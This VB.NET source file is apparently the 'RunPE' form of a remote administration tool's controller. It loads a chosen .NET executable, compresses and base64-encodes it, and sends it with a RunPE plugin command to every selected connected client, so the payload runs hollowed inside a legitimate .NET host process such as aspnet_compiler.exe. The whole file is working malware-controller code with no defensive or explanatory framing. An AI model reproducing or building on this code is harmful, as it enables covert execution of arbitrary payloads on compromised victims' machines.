Imports System.Threading
Public Class RunPE

    Dim v4 As String = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\"
    Dim v2 As String = "C:\Windows\Microsoft.NET\Framework\v2.0.50727\"

    Public File As Byte()
    Public Net As String
    Private Sub RunPE_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Guna2ComboBox1.Text = "v4.0"
        Guna2ComboBox2.Text = "aspnet_compiler.exe"
    End Sub

    Private Sub Guna2GradientButton3_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton3.Click
        Close()
    End Sub

    Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
        Try

            Dim o As New OpenFileDialog
            With o
                .Filter = "(*.exe)|*.exe"
                .Title = "Select .Net File"
            End With

            If o.ShowDialog = DialogResult.OK Then
                Try
                    System.Reflection.Assembly.LoadFile(o.FileName).EntryPoint.GetParameters()
                Catch
                    MessageBox.Show(o.FileName, "Is Not A .NET Assembly")
                    Return
                End Try

                File = Compress(IO.File.ReadAllBytes(o.FileName))

            End If
        Catch ex As Exception
            MessageBox.Show(ex.Message)
        End Try
    End Sub

    Private Sub Guna2GradientButton2_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton2.Click
        If Guna2ComboBox1.Text = "v4.0" Then
            Net = v4
        End If
        If Guna2ComboBox1.Text = "v2.0" Then
            Net = v2
        End If
        Try
            If File Is Nothing Then
            Else
                Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\RunPE.dll") & SettingsHelper.SPL & Net & Guna2ComboBox2.Text & SettingsHelper.SPL & Convert.ToBase64String(File))
                For Each C As Client In Main.GetSelectedClients
                    ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
                Next
                MessageBox.Show("DONE!")
                Close()
            End If
        Catch ex As Exception
            MessageBox.Show(ex.Message)
        End Try
    End Sub
End Class